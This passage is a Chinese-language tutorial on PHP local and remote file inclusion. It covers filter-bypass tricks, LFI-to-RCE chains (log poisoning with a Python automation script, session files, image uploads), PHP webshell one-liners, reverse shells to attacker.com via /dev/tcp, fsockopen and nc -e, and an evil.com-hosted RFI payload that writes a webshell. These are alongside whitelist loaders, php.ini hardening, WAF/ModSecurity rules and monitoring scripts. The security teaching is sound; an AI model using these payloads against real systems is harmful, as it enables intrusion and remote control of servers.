function hasWrapper($path) {
$wrappers = stream_get_wrappers();
foreach ($wrappers as $wrapper) {
if (strpos($path, $wrapper . '://') === 0) {
return true;
}
}
return false;
}
// 使用
$filePath = $_GET['page'];
if (hasWrapper($filePath)) {
die('Wrapper usage not allowed');
}
禁用危险伪协议:
ini
; php.ini
allow_url_include = Off
allow_url_fopen = Off
白名单路径验证:
php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
$page = 'home';
}
include "/var/www/pages/$page.php";
5. 高级绕过技术详解
5.1 路径规范化绕过
5.1.1 双重编码
原理: URL双重编码可能绕过某些过滤器
php
// 正常URL编码
%2e%2e%2f → ../
// 双重编码
%252e%252e%252f → ../ (解码两次)
攻击示例:
?page=..%252f..%252f..%252fetc/passwd
解码过程:
第一次解码: ..%2f..%2f..%2fetc/passwd
第二次解码: ../../etc/passwd
5.1.2 Unicode编码绕过
原理: 某些系统对Unicode字符的处理不同
%c0%ae → . (UTF-8 overlong encoding)
%c0%af → /
攻击示例:
?page=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc/passwd
注意: 现代PHP (5.4+)通常不受影响,但某些Web服务器可能存在漏洞。
5.1.3 绝对路径 vs 相对路径
相对路径攻击:
?page=../../../../etc/passwd
绝对路径攻击:
?page=/etc/passwd
绕过前缀检查:
php
// 脆弱代码 - 试图防止路径穿越
$page = 'pages/' . $_GET['page'];
if (strpos($page, '..') === false) {
include($page);
}
绕过:
?page=/etc/passwd
// 结果: pages//etc/passwd
// PHP会解析为 /etc/passwd (双斜杠被规范化为单斜杠)
5.2 特殊字符处理
5.2.1 分号截断
原理: 分号在某些上下文可能截断字符串
php
include($_GET['page'] . '.php');
攻击:
?page=shell.php;cmd=whoami
可能结果:
shell.php;.php
注意: 这取决于具体实现,通常不起作用,但值得了解。
5.2.2 换行符注入
http
GET /?page=shell.php%0aHTTP/1.1%0d%0aHost:%20evil.com HTTP/1.1
原理: 尝试HTTP头部注入
5.3 字符串截断技巧
5.3.1 长路径截断
原理: 某些文件系统对路径长度有限制
bash
# Linux: PATH_MAX = 4096
# Windows: MAX_PATH = 260
攻击:
?page=../../../[非常长的路径]../../../etc/passwd
目的: 绕过包含的后缀检查
注意: 现代系统很少受此影响。
5.4 环境变量利用
5.4.1 /proc/self/environ
原理: /proc/self/environ 包含当前进程的环境变量
内容示例:
APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
攻击步骤:
步骤1: 注毒环境变量
http
GET /<?php system($_GET['c']); ?> HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['c']); ?>
步骤2: 包含环境文件
?page=/proc/self/environ&c=whoami
为什么可能有效:
- User-Agent会被记录在环境变量中
- 环境文件可能被包含
- PHP代码可能被执行
限制:
- 环境变量通常很大
- 需要找到注入点
- 某些环境不包含用户输入
5.4.2 /proc/self/cmdline
原理: 包含启动命令的命令行
攻击:
?page=/proc/self/cmdline
可能用途:
- 了解应用配置
- 发现隐藏参数
- 信息收集
5.5 文件描述符利用
原理: /proc/self/fd/ 包含所有打开的文件描述符
攻击:
?page=/proc/self/fd/3
?page=/proc/self/fd/4
场景:
php
// 如果应用曾经打开过敏感文件
$fp = fopen('/var/www/config/database.php', 'r');
// fd可能是3或4
// 攻击者可以访问:
include('/proc/self/fd/3');
枚举文件描述符:
php
for ($i = 0; $i < 100; $i++) {
$path = "/proc/self/fd/$i";
if (@include($path)) {
// 成功
}
}
5.6 字符替换技巧
5.6.1 点号替换
php
// 如果过滤器禁止点号
?page=../../../etc/passwd
绕过:
?page=..%2f..%2f..%2fetc%2fpasswd
5.6.2 斜杠替换
php
// Windows系统
?page=..\..\..\windows\win.ini
?page=..%5c..%5c..%5cwindows%5cwin.ini
5.7 长度限制绕过
场景: 应用限制输入长度
php
$page = substr($_GET['page'], 0, 20);
绕过:
// 使用短路径
?page=/etc/passwd // 13字符
?page=/etc/shadow // 11字符
?page=/var/log/apache // 16字符
Windows短文件名:
C:\Progra~1\file.txt // C:\Program Files\file.txt
6. 从包含到RCE的完整路径
6.1 攻击链概述
文件包含漏洞的终极目标:
将信息泄露漏洞升级为远程代码执行(RCE)。
心智模型:
LFI (本地文件包含)
↓
找到可控内容的写入点
↓
写入恶意代码到可被包含的文件
↓
包含该文件执行代码
↓
RCE (远程代码执行)
6.2 完整攻击路径
路径1: LFI + 日志投毒 = RCE
完整攻击流程:
┌─────────────────────────────────────────────┐
│ 第1步: 发现LFI漏洞 │
├─────────────────────────────────────────────┤
│ 测试: ?page=../../../../etc/passwd │
│ 结果: 成功读取文件 → LFI确认 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第2步: 确定日志位置 │
├─────────────────────────────────────────────┤
│ 尝试路径: │
│ - /var/log/apache2/access.log │
│ - /var/log/httpd/access_log │
│ - /var/log/nginx/access.log │
│ 结果: 找到可访问的日志文件 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第3步: 投毒日志 │
├─────────────────────────────────────────────┤
│ 发送请求: │
│ GET /<?php system($_GET['c']); ?> HTTP/1.1│
│ Host: target.com │
│ │
│ 日志记录: │
│ 192.168.1.1 - - [date] "GET /<?php...?>" │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第4步: 触发执行 │
├─────────────────────────────────────────────┤
│ 请求: ?page=../../../../var/log/apache2/ │
│ access.log&c=whoami │
│ │
│ 结果: │
│ - 日志被包含 │
│ - PHP代码被执行 │
│ - 输出: www-data │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第5步: 持久化访问 │
├─────────────────────────────────────────────┤
│ 执行: │
│ - 反弹shell │
│ - 写入WebShell文件 │
│ - 提权攻击 │
└─────────────────────────────────────────────┘
自动化脚本示例:
python
#!/usr/bin/env python3
import requests
TARGET = "http://target.com/vuln.php"
LOG_PATH = "/var/log/apache2/access.log"
PAYLOAD = "<?php system($_GET['c']); ?>"
# Step 1: 投毒日志
print("[+] Poisoning log...")
requests.get(
TARGET.replace("vuln.php", PAYLOAD),
headers={'User-Agent': PAYLOAD}
)
# Step 2: 触发执行
print("[+] Triggering execution...")
cmd = "whoami"
url = f"{TARGET}?page=../../..{LOG_PATH}&c={cmd}"
r = requests.get(url)
print(f"[+] Output: {r.text}")
路径2: LFI + Session劫持 = RCE
完整攻击流程:
┌─────────────────────────────────────────────┐
│ 第1步: 发起Session │
├─────────────────────────────────────────────┤
│ 请求: │
│ POST /login.php │
│ Cookie: PHPSESSID=attacker123 │
│ Body: username=<?php system($_GET['c']); ?>│
│ │
│ Session文件: /tmp/sess_attacker123 │
│ 内容: username|s:32:"<?php system(...)?>" │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第2步: 包含Session文件 │
├─────────────────────────────────────────────┤
│ 请求: │
│ ?page=../../../../tmp/sess_attacker123&c=id│
│ │
│ 结果: │
│ - Session被包含 │
│ - PHP代码被执行 │
└─────────────────────────────────────────────┘
注意事项:
- 需要知道Session ID
- Session序列化格式影响执行
- 默认
php格式可能执行 php_serialize格式更安全
路径3: LFI + 文件上传 = RCE
完整攻击流程:
┌─────────────────────────────────────────────┐
│ 第1步: 上传恶意图片 │
├─────────────────────────────────────────────┤
│ POST /upload.php │
│ Content-Type: image/jpeg │
│ Body: [二进制JPEG + PHP代码] │
│ │
│ 保存为: /uploads/avatar_[id].jpg │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第2步: 确定上传路径 │
├─────────────────────────────────────────────┤
│ 通过错误信息或枚举找到上传文件 │
│ /uploads/avatar_12345.jpg │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第3步: 包含上传文件 │
├─────────────────────────────────────────────┤
│ ?page=../../uploads/avatar_12345&c=ls -la │
│ │
│ 结果: 执行图片中的PHP代码 │
└─────────────────────────────────────────────┘
路径4: LFI + 数据库注入 = RCE
场景: 应用从数据库读取文件路径
php
$id = $_GET['id'];
$result = $db->query("SELECT template_path FROM templates WHERE id = $id");
$path = $result->fetchColumn();
include($path);
攻击:
sql
-- 注入更新数据库
UPDATE templates SET template_path = '/var/www/uploads/shell.jpg' WHERE id = 1;
?id=1
6.3 反弹Shell
一旦获得代码执行,下一步通常是反弹Shell
PHP反弹Shell:
php
<?php
// 方法1: system
system('bash -i >& /dev/tcp/attacker.com/4444 0>&1');
// 方法2: proc_open
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open('bash', $descriptorspec, $pipes);
fwrite($pipes[0], "bash -i >& /dev/tcp/attacker.com/4444 0>&1\n");
// 方法3: fsockopen
$sock = fsockopen('attacker.com', 4444);
$proc = proc_open('/bin/sh', [['pipe','r'], ['pipe','w'], ['pipe','w']], $pipes);
fwrite($pipes[0], "bash -i >&/dev/tcp/attacker.com/4444 0>&1\n");
// 方法4: 使用nc
system('nc -e /bin/bash attacker.com 4444');
?>
监听器设置:
bash
# 攻击者机器
nc -lvnp 4444
7. 纵深防御策略
7.1 输入验证层
7.1.1 白名单验证
php
class SecurePageLoader {
private array $allowedPages = [
'home' => '/var/www/pages/home.php',
'about' => '/var/www/pages/about.php',
'contact' => '/var/www/pages/contact.php',
'dashboard' => '/var/www/pages/dashboard.php'
];
public function loadPage(string $pageName): void {
// 白名单检查
if (!isset($this->allowedPages[$pageName])) {
http_response_code(404);
echo 'Page not found';
return;
}
$path = $this->allowedPages[$pageName];
// 验证文件存在
if (!file_exists($path)) {
throw new RuntimeException('Page configuration error');
}
include $path;
}
}
// 使用
$loader = new SecurePageLoader();
$loader->loadPage($_GET['page'] ?? 'home');
7.1.2 路径验证
php
function validatePath(string $userPath, string $baseDir): string {
// 规范化路径
$realPath = realpath($baseDir . '/' . $userPath);
$realBase = realpath($baseDir);
// 验证路径在基础目录内
if ($realPath === false || strpos($realPath, $realBase) !== 0) {
throw new SecurityException('Path traversal detected');
}
return $realPath;
}
// 使用
$baseDir = '/var/www/pages';
$userPath = $_GET['page'] ?? 'home.php';
$safePath = validatePath($userPath, $baseDir);
include $safePath;
7.2 文件系统层
7.2.1 目录权限
bash
# Web目录只读
chmod 555 /var/www/html
# 上传目录不可执行
chmod 755 /var/www/uploads
chown -R www-data:www-data /var/www/uploads
# 配置目录
chmod 500 /var/www/config
chown root:root /var/www/config
7.2.2 open_basedir 限制
ini
; php.ini
open_basedir = /var/www/html:/tmp
效果:
- 限制文件访问到指定目录
- 防止访问
/etc/passwd等敏感文件 - 即使有LFI,影响范围也受限
7.2.3 禁用危险函数
ini
; php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
7.3 应用架构层
7.3.1 使用前端控制器模式
php
// index.php - 唯一入口点
// 定义页面映射
$routes = [
'home' => 'HomeController',
'about' => 'AboutController',
'contact' => 'ContactController'
];
// 路由
$page = $_GET['page'] ?? 'home';
if (!isset($routes[$page])) {
http_response_code(404);
include 'views/404.php';
exit;
}
// 安全的控制器加载
$controllerClass = $routes[$page];
$controllerFile = "controllers/$controllerClass.php";
if (file_exists($controllerFile)) {
require_once $controllerFile;
$controller = new $controllerClass();
$controller->handle();
}
7.3.2 避免动态包含
php
// ❌ 危险: 动态路径
include($_GET['page'] . '.php');
// ✅ 安全: 使用开关语句
$page = $_GET['page'] ?? 'home';
switch ($page) {
case 'home':
include 'pages/home.php';
break;
case 'about':
include 'pages/about.php';
break;
default:
include 'pages/404.php';
}
7.4 服务器配置层
7.4.1 Apache配置
apache
# 禁止包含.php文件
<Directory /var/www/uploads>
php_admin_flag engine off
Options -ExecCGI
AllowOverride None
</Directory>
# 防止访问敏感文件
<FilesMatch "^\.(htaccess|htpasswd|ini|log|sh|inc|bak)$">
Order allow,deny
Deny from all
</FilesMatch>
7.4.2 Nginx配置
nginx
# 禁止上传目录执行PHP
location ~* ^/uploads/.*\.php$ {
deny all;
}
# 限制敏感文件访问
location ~* \.(ini|log|sh|inc|bak)$ {
deny all;
}
7.5 监控与检测层
7.5.1 日志监控
php
// 记录所有包含操作
function secureInclude(string $path): void {
global $includeLog;
$backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
$caller = $backtrace[1]['file'] ?? 'unknown';
$includeLog[] = [
'path' => $path,
'caller' => $caller,
'time' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
];
// 检测可疑模式
if (preg_match('/\.\.|\.php|filter|data:/', $path)) {
error_log("Suspicious include detected: $path from $caller");
// 发送告警
}
include $path;
}
7.5.2 WAF规则
nginx
# 检测常见的LFI模式
if ($args ~* "(\.\.\/|\.\.\\|%2e%2e|%252e)"){
return 403;
}
if ($args ~* "php:\/\/filter|php:\/\/input|data:"){
return 403;
}
if ($args ~* "etc\/passwd|proc\/self|wwwroot"){
return 403;
}
7.6 完整的安全文件包含类
php
<?php
class SecureIncluder {
private string $baseDir;
private array $allowedExtensions;
private array $whitelist;
public function __construct(
string $baseDir,
array $allowedExtensions = ['php'],
array $whitelist = []
) {
$this->baseDir = rtrim(realpath($baseDir), '/');
$this->allowedExtensions = $allowedExtensions;
$this->whitelist = $whitelist;
}
public function include(string $userInput): void {
// 1. 白名单检查
if (!empty($this->whitelist) && !in_array($userInput, $this->whitelist, true)) {
throw new SecurityException('File not in whitelist');
}
// 2. 移除路径穿越
if (preg_match('/\.\./', $userInput)) {
throw new SecurityException('Path traversal detected');
}
// 3. 检查伪协议
if (preg_match('/^[\w]+:\/\//i', $userInput)) {
throw new SecurityException('Protocol wrappers not allowed');
}
// 4. 构造完整路径
$fullPath = $this->baseDir . '/' . $userInput;
// 5. 规范化路径
$realPath = realpath($fullPath);
if ($realPath === false) {
throw new RuntimeException('File not found');
}
// 6. 验证路径在基础目录内
if (strpos($realPath, $this->baseDir) !== 0) {
throw new SecurityException('File outside base directory');
}
// 7. 验证扩展名
$extension = strtolower(pathinfo($realPath, PATHINFO_EXTENSION));
if (!in_array($extension, $this->allowedExtensions, true)) {
throw new SecurityException('File type not allowed');
}
// 8. 安全包含
require $realPath;
// 9. 记录日志
$this->logInclude($realPath);
}
private function logInclude(string $path): void {
$logEntry = sprintf(
"[%s] Include: %s | IP: %s | Script: %s\n",
date('Y-m-d H:i:s'),
$path,
$_SERVER['REMOTE_ADDR'] ?? '-',
$_SERVER['SCRIPT_NAME'] ?? '-'
);
error_log($logEntry, 3, '/var/log/php_includes.log');
}
}
// 使用示例
$includer = new SecureIncluder(
'/var/www/pages',
['php'],
['home', 'about', 'contact']
);
try {
$page = $_GET['page'] ?? 'home';
$includer->include($page);
} catch (SecurityException $e) {
http_response_code(403);
echo 'Access denied';
} catch (RuntimeException $e) {
http_response_code(404);
echo 'Page not found';
}
?>
8. 检测与监控实战
8.1 WAF检测规则
8.1.1 ModSecurity规则
apache
# 检测路径穿越
SecRule ARGS "@rx \.\.|%2e%2e|%252e" \
"id:1001,phase:2,deny,status:403,msg:'Path Traversal Attempt'"
# 检测伪协议
SecRule ARGS "@rx php://|data:|file://|phar://|expect://" \
"id:1002,phase:2,deny,status:403,msg:'PHP Wrapper Attempt'"
# 检测敏感文件
SecRule ARGS "@rx /etc/passwd|/etc/shadow|proc/self/environ" \
"id:1003,phase:2,deny,status:403,msg:'Sensitive File Access'"
# 检测常见的LFI模式
SecRule ARGS "@rx (include|require|file_get_contents)\(" \
"id:1004,phase:2,deny,status:403,msg:'File Inclusion Function'"
8.1.2 自定义检测逻辑
php
class LFIAttackDetector {
private array $patterns = [
'path_traversal' => '/\.\.|%2e%2e|%252e|\\x2e\\x2e/i',
'wrapper' => '/php:\/\/|data:|file:\/\/|phar:|expect:/i',
'sensitive_files' => '/\/etc\/passwd|\/etc\/shadow|proc\/self|wwwroot/i',
'base64_injection' => '/convert\.base64-(en|de)code/i',
'compression' => '/compress\.(zlib|bzip2)/i'
];
public function detect(string $input): array {
$threats = [];
foreach ($this->patterns as $type => $pattern) {
if (preg_match($pattern, $input)) {
$threats[] = [
'type' => $type,
'pattern' => $pattern,
'input' => $input,
'ip' => $_SERVER['REMOTE_ADDR'] ?? '-',
'time' => date('Y-m-d H:i:s')
];
}
}
if (!empty($threats)) {
$this->logThreats($threats);
}
return $threats;
}
private function logThreats(array $threats): void {
foreach ($threats as $threat) {
$logEntry = json_encode($threat) . "\n";
file_put_contents(
'/var/log/lfi_threats.log',
$logEntry,
FILE_APPEND | LOCK_EX
);
}
// 发送告警
$this->sendAlert($threats);
}
private function sendAlert(array $threats): void {
// 集成到SIEM或发送邮件
// mail('security@example.com', 'LFI Attack Detected', json_encode($threats));
}
}
// 使用中间件
$detector = new LFIAttackDetector();
foreach ($_GET as $key => $value) {
$threats = $detector->detect($value);
if (!empty($threats)) {
http_response_code(403);
die('Access denied');
}
}
8.2 审计日志
8.2.1 记录所有包含操作
php
class IncludeLogger {
private string $logFile;
private array $suspiciousPatterns = [
'../', '..\\', 'php://', 'data:', '/etc/', '/proc/'
];
public function __construct(string $logFile) {
$this->logFile = $logFile;
}
public function logInclude(string $path, string $source): void {
$entry = [
'timestamp' => date('Y-m-d H:i:s'),
'path' => $path,
'source' => $source,
'ip' => $_SERVER['REMOTE_ADDR'] ?? '-',
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '-',
'script' => $_SERVER['SCRIPT_NAME'] ?? '-',
'is_suspicious' => $this->isSuspicious($path)
];
$this->write($entry);
if ($entry['is_suspicious']) {
$this->alert($entry);
}
}
private function isSuspicious(string $path): bool {
foreach ($this->suspiciousPatterns as $pattern) {
if (stripos($path, $pattern) !== false) {
return true;
}
}
return false;
}
private function write(array $entry): void {
$line = json_encode($entry) . "\n";
file_put_contents($this->logFile, $line, FILE_APPEND | LOCK_EX);
}
private function alert(array $entry): void {
// 发送到SIEM或触发告警
error_log("Suspicious include detected: " . json_encode($entry));
}
}
// 覆盖include函数
function safeInclude(string $path): void {
static $logger = null;
if ($logger === null) {
$logger = new IncludeLogger('/var/log/include_audit.log');
}
$logger->logInclude($path, debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2)[1]['function'] ?? 'unknown');
include $path;
}
8.3 实时监控
8.3.1 文件监控
bash
#!/bin/bash
# 监控上传目录的新文件
inotifywait -m -e create --format '%w%f' /var/www/uploads | while read FILE
do
echo "New file detected: $FILE"
# 检查是否包含PHP代码
if strings "$FILE" | grep -q '<?php'; then
echo "ALERT: PHP code detected in upload!"
# 移除文件
rm "$FILE"
# 发送告警
logger -p local0.alert "PHP code detected in upload: $FILE"
fi
done
8.3.2 日志监控
bash
#!/bin/bash
# 监控Apache访问日志中的LFI尝试
tail -f /var/log/apache2/access.log | grep --line-buffered -E '(\.\.|php://|data:|/etc/|/proc/)' | while read LINE
do
echo "Potential LFI attack: $LINE"
# 提取IP并封禁
IP=$(echo "$LINE" | awk '{print $1}')
iptables -A INPUT -s "$IP" -j DROP
logger -p local0.alert "Blocked IP due to LFI attempt: $IP"
done
9. 真实案例深度分析
9.1 案例一: e-commerce平台LFI漏洞
漏洞背景:
某电商平台的模板加载功能存在LFI漏洞:
php
// theme.php
$theme = $_GET['theme'] ?? 'default';
$themePath = '/var/www/themes/' . $theme . '/layout.php';
if (file_exists($themePath)) {
include($themePath);
}
攻击过程:
步骤1: 发现LFI
GET /theme.php?theme=../../../../etc/passwd
结果: root:x:0:0:root:/root:/bin/bash...
步骤2: 寻找RCE路径
- 尝试日志投毒 - 日志不可读
- 尝试Session劫持 - Session不在标准位置
- 尝试文件上传 - 上传目录被禁
步骤3: 发现avatar功能
发现用户头像上传功能,保存为:
/uploads/avatars/<user_id>.jpg
步骤4: 上传图片马
http
POST /upload_avatar.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="avatar"; filename="evil.jpg"
Content-Type: image/jpeg
GIF89a<?php system($_GET['c']); ?>
------Boundary--
步骤5: 确定上传路径
/theme.php?theme=../../../../uploads/avatars/123
结果: 成功包含
步骤6: 执行命令
/theme.php?theme=../../../../uploads/avatars/123&c=whoami
输出: www-data
修复方案:
php
class ThemeLoader {
private array $allowedThemes = ['default', 'dark', 'light', 'blue'];
private string $themesBasePath;
public function __construct(string $basePath) {
$this->themesBasePath = rtrim(realpath($basePath), '/');
}
public function loadTheme(string $themeName): void {
// 白名单验证
if (!in_array($themeName, $this->allowedThemes, true)) {
throw new InvalidArgumentException('Invalid theme');
}
$themePath = $this->themesBasePath . '/' . $themeName . '/layout.php';
$realPath = realpath($themePath);
// 验证路径在主题目录内
if ($realPath === false || strpos($realPath, $this->themesBasePath) !== 0) {
throw new SecurityException('Invalid theme path');
}
include $realPath;
}
}
// 使用
$loader = new ThemeLoader('/var/www/themes');
$loader->loadTheme($_GET['theme'] ?? 'default');
9.2 案例二: CMS系统RFI漏洞
漏洞背景:
某旧版CMS的插件加载功能存在RFI:
php
// plugin.php
$pluginUrl = $_GET['plugin_url'];
if ($pluginUrl) {
include($pluginUrl . '/init.php');
}
配置:
ini
allow_url_include = On
allow_url_fopen = On
攻击过程:
步骤1: 设置恶意服务器
攻击者在 http://evil.com/init.php 放置:
php
<?php
file_put_contents('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>');
echo 'Plugin installed!';
?>
步骤2: 触发RFI
GET /plugin.php?plugin_url=http://evil.com
步骤3: 访问WebShell
GET /shell.php?c=whoami
修复方案:
php
// 1. 禁用URL包含
// allow_url_include = Off
// 2. 本地插件白名单
class PluginLoader {
private array $allowedPlugins = [
'analytics' => '/var/www/plugins/analytics/init.php',
'seo' => '/var/www/plugins/seo/init.php',
'cache' => '/var/www/plugins/cache/init.php'
];
public function loadPlugin(string $pluginName): void {
if (!isset($this->allowedPlugins[$pluginName])) {
throw new InvalidArgumentException('Plugin not allowed');
}
$path = $this->allowedPlugins[$pluginName];
if (!file_exists($path)) {
throw new RuntimeException('Plugin file not found');
}
include $path;
}
}
9.3 案例三: php://filter信息泄露
漏洞背景:
某应用的配置文件读取功能:
php
$config = $_GET['config'];
include('/var/www/config/' . $config);
攻击过程:
步骤1: 尝试直接读取
GET /?config=database.php
结果: (空,因为文件只定义变量无输出)
步骤2: 使用php://filter
GET /?config=php://filter/convert.base64-encode/resource=/var/www/config/database.php
结果: PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsKJGRiX3VzZXIgPS...
步骤3: 解码获取凭证
bash
echo "PD9waHAK..." | base64 -d
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'Sup3rS3cr3t!';
$db_name = 'production';
?>
修复方案:
php
class ConfigLoader {
private array $allowedConfigs = [
'app' => '/var/www/config/app.php',
'database' => '/var/www/config/database.php',
'email' => '/var/www/config/email.php'
];
public function loadConfig(string $configName): array {
if (!isset($this->allowedConfigs[$configName])) {
throw new InvalidArgumentException('Invalid config');
}
$path = $this->allowedConfigs[$configName];
$realPath = realpath($path);
if ($realPath === false) {
throw new RuntimeException('Config not found');
}
// 安全地加载配置
$config = [];
include($realPath);
return $config;
}
}
10. 总结与实践指南
10.1 关键要点回顾
文件包含漏洞本质:
- 用户控制的路径 - 输入未经验证直接用于文件操作
- 动态代码执行 -
include/require会解析并执行被包含文件 - 作用域继承 - 被包含代码继承当前变量环境
LFI vs RFI:
| 方面 | LFI | RFI |
|---|---|---|
| 配置要求 | 无 | allow_url_include=On |
| 攻击难度 | 中等 | 低 |
| 危害程度 | 信息泄露→RCE | 直接RCE |
| 现代PHP | 仍然常见 | 较少(默认禁用) |
LFI到RCE的路径:
- 日志投毒 - 向日志文件注入代码
- Session劫持 - 控制Session内容
- 文件上传 - 上传包含代码的文件
- 数据库注入 - 修改数据库中的路径
伪协议攻击面:
php://filter → 读取任意文件源码
php://input → 执行POST body中的代码
data:// → 直接执行Base64编码的代码
phar:// → PHAR反序列化攻击
file:// → 访问本地文件系统
10.2 防御清单
代码层防御:
- 使用白名单验证所有文件输入
- 避免直接使用用户输入构造路径
- 使用
realpath()验证路径在预期目录内 - 检查并拒绝包含
..的输入 - 禁止伪协议使用
- 验证文件扩展名
配置层防御:
ini
; php.ini 安全配置
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp
disable_functions = exec,shell_exec,system,passthru,proc_open,popen
文件系统防御:
bash
# Web目录只读
chmod 555 /var/www/html
# 上传目录不可执行
chmod 755 /var/www/uploads
服务器层防御:
apache
# Apache配置
<Directory /var/www/uploads>
php_admin_flag engine off
</Directory>
10.3 检测清单
WAF规则应该检测:
- 路径穿越模式:
..,%2e%2e - 伪协议:
php://,data://,phar:// - 敏感文件:
/etc/passwd,/proc/self/ - Base64过滤器:
convert.base64-encode - 常见日志路径:
/var/log/
日志监控:
- 记录所有
include/require操作 - 监控异常的文件访问模式
- 检测访问
/proc/的行为 - 追踪上传文件的后缀异常
10.4 实战建议
对于开发者:
- 永远不要直接包含用户输入
- 使用白名单而不是黑名单
- 验证路径在预期目录内
- 禁用URL包含除非绝对必要
- 定期审计所有文件操作代码
对于安全研究员:
- 测试常见路径 -
/etc/passwd,/proc/self/environ - 寻找可控文件 - 日志、Session、上传
- 尝试所有伪协议 - 特别是
php://filter - 关注配置错误 -
allow_url_include状态 - 综合利用 - LFI+其他漏洞=RCE
对于系统管理员:
- 最小权限 - Web进程只读访问
- 隔离上传 - 独立域名、禁执行
- 监控日志 - 实时检测异常
- 及时更新 - 保持PHP最新版本
- 纵深防御 - 多层安全控制